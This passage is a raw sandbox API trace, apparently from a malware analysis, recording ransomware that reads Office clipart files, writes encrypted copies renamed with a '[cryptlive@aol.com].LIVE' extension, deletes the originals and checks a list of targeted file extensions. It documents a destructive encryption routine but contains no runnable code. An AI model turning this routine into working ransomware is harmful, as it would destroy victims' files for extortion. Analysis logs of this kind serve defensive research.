1 [0151.656] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4320, lpOverlapped=0x0) returned 1 [0151.657] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.657] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.657] SetEndOfFile (hFile=0x1b8) returned 1 [0151.657] CloseHandle (hObject=0x1b8) returned 1 [0151.657] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.657] SetEndOfFile (hFile=0x384) returned 1 [0151.664] CloseHandle (hObject=0x384) returned 1 [0151.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0151.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.666] lstrlenW (lpString=".doc") returned 4 [0151.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.666] lstrlenW (lpString=".docx") returned 5 [0151.666] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.666] lstrlenW (lpString=".pdf") returned 4 [0151.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.666] lstrlenW (lpString=".xls") returned 4 [0151.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.667] lstrlenW (lpString=".xlsx") returned 5 [0151.667] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.667] lstrlenW (lpString=".ppt") returned 4 [0151.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.667] lstrlenW (lpString=".zip") returned 4 [0151.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.667] lstrlenW (lpString=".rar") returned 4 [0151.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString=".bz2") returned 4 [0151.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString=".7z") returned 3 [0151.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.667] lstrlenW (lpString=".dbf") returned 4 [0151.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.667] lstrlenW (lpString=".1cd") returned 4 [0151.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.667] lstrlenW (lpString=".jpg") returned 4 [0151.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.667] lstrlenW (lpString=".doc") returned 4 [0151.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString=".docx") returned 5 [0151.667] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.667] lstrlenW (lpString=".pdf") returned 4 [0151.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString=".xls") returned 4 [0151.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.667] lstrlenW (lpString=".xlsx") returned 5 [0151.667] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.667] lstrlenW (lpString=".ppt") returned 4 [0151.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.668] lstrlenW (lpString=".zip") returned 4 [0151.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.668] lstrlenW (lpString=".rar") returned 4 [0151.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.668] lstrlenW (lpString=".bz2") returned 4 [0151.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.668] lstrlenW (lpString=".7z") returned 3 [0151.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.668] lstrlenW (lpString=".dbf") returned 4 [0151.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.668] lstrlenW (lpString=".1cd") returned 4 [0151.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0151.668] lstrlenW (lpString=".jpg") returned 4 [0151.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.668] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.668] lstrlenW (lpString="J0105244.WMF") returned 12 [0151.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.669] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=11228) returned 1 [0151.669] CloseHandle (hObject=0x384) returned 1 [0151.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20 [0151.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.669] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.670] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.670] GetLastError () returned 0x0 [0151.670] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2bdc, lpOverlapped=0x0) returned 1 [0151.701] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0151.702] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.702] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.702] SetEndOfFile (hFile=0x1b8) returned 1 [0151.702] CloseHandle (hObject=0x1b8) returned 1 [0151.702] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.702] SetEndOfFile (hFile=0x384) returned 1 [0151.707] CloseHandle (hObject=0x384) returned 1 [0151.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.709] lstrlenW (lpString=".doc") returned 4 [0151.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString=".docx") returned 5 [0151.709] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.709] lstrlenW (lpString=".pdf") returned 4 [0151.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString=".xls") returned 4 [0151.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.709] lstrlenW (lpString=".xlsx") returned 5 [0151.709] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.709] lstrlenW (lpString=".ppt") returned 4 [0151.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.709] lstrlenW (lpString=".zip") returned 4 [0151.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.709] lstrlenW (lpString=".rar") returned 4 [0151.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString=".bz2") returned 4 [0151.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString=".7z") returned 3 [0151.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.709] lstrlenW (lpString=".dbf") returned 4 [0151.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.709] lstrlenW (lpString=".1cd") returned 4 [0151.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.709] lstrlenW (lpString=".jpg") returned 4 [0151.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.710] lstrlenW (lpString=".doc") returned 4 [0151.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.710] lstrlenW (lpString=".docx") returned 5 [0151.710] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.710] lstrlenW (lpString=".pdf") returned 4 [0151.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.710] lstrlenW (lpString=".xls") returned 4 [0151.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.710] lstrlenW (lpString=".xlsx") returned 5 [0151.710] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.710] lstrlenW (lpString=".ppt") returned 4 [0151.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.710] lstrlenW (lpString=".zip") returned 4 [0151.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.710] lstrlenW (lpString=".rar") returned 4 [0151.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.710] lstrlenW (lpString=".bz2") returned 4 [0151.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.710] lstrlenW (lpString=".7z") returned 3 [0151.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.710] lstrlenW (lpString=".dbf") returned 4 [0151.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.710] lstrlenW (lpString=".1cd") returned 4 [0151.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0151.710] lstrlenW (lpString=".jpg") returned 4 [0151.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.710] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.711] lstrlenW (lpString="J0105266.WMF") returned 12 [0151.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.711] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5908) returned 1 [0151.711] CloseHandle (hObject=0x384) returned 1 [0151.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0151.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.712] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.712] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.714] GetLastError () returned 0x0 [0151.714] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1714, lpOverlapped=0x0) returned 1 [0151.757] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1720, lpOverlapped=0x0) returned 1 [0151.759] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.759] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.759] SetEndOfFile (hFile=0x1b8) returned 1 [0151.759] CloseHandle (hObject=0x1b8) returned 1 [0151.759] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.759] SetEndOfFile (hFile=0x384) returned 1 [0151.762] CloseHandle (hObject=0x384) returned 1 [0151.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0151.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.763] lstrlenW (lpString=".doc") returned 4 [0151.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString=".docx") returned 5 [0151.764] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.764] lstrlenW (lpString=".pdf") returned 4 [0151.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString=".xls") returned 4 [0151.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.764] lstrlenW (lpString=".xlsx") returned 5 [0151.764] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.764] lstrlenW (lpString=".ppt") returned 4 [0151.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.764] lstrlenW (lpString=".zip") returned 4 [0151.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.764] lstrlenW (lpString=".rar") returned 4 [0151.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString=".bz2") returned 4 [0151.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString=".7z") returned 3 [0151.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.764] lstrlenW (lpString=".dbf") returned 4 [0151.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.764] lstrlenW (lpString=".1cd") returned 4 [0151.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.764] lstrlenW (lpString=".jpg") returned 4 [0151.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.764] lstrlenW (lpString=".doc") returned 4 [0151.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.765] lstrlenW (lpString=".docx") returned 5 [0151.765] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.765] lstrlenW (lpString=".pdf") returned 4 [0151.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.765] lstrlenW (lpString=".xls") returned 4 [0151.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.765] lstrlenW (lpString=".xlsx") returned 5 [0151.765] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.765] lstrlenW (lpString=".ppt") returned 4 [0151.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.765] lstrlenW (lpString=".zip") returned 4 [0151.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.765] lstrlenW (lpString=".rar") returned 4 [0151.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.765] lstrlenW (lpString=".bz2") returned 4 [0151.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.765] lstrlenW (lpString=".7z") returned 3 [0151.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.765] lstrlenW (lpString=".dbf") returned 4 [0151.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.765] lstrlenW (lpString=".1cd") returned 4 [0151.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0151.765] lstrlenW (lpString=".jpg") returned 4 [0151.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.765] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.766] lstrlenW (lpString="J0105276.WMF") returned 12 [0151.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.766] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=19240) returned 1 [0151.766] CloseHandle (hObject=0x384) returned 1 [0151.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20 [0151.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.770] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.770] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.771] GetLastError () returned 0x0 [0151.771] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4b28, lpOverlapped=0x0) returned 1 [0151.786] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4b30, lpOverlapped=0x0) returned 1 [0151.788] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.788] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.788] SetEndOfFile 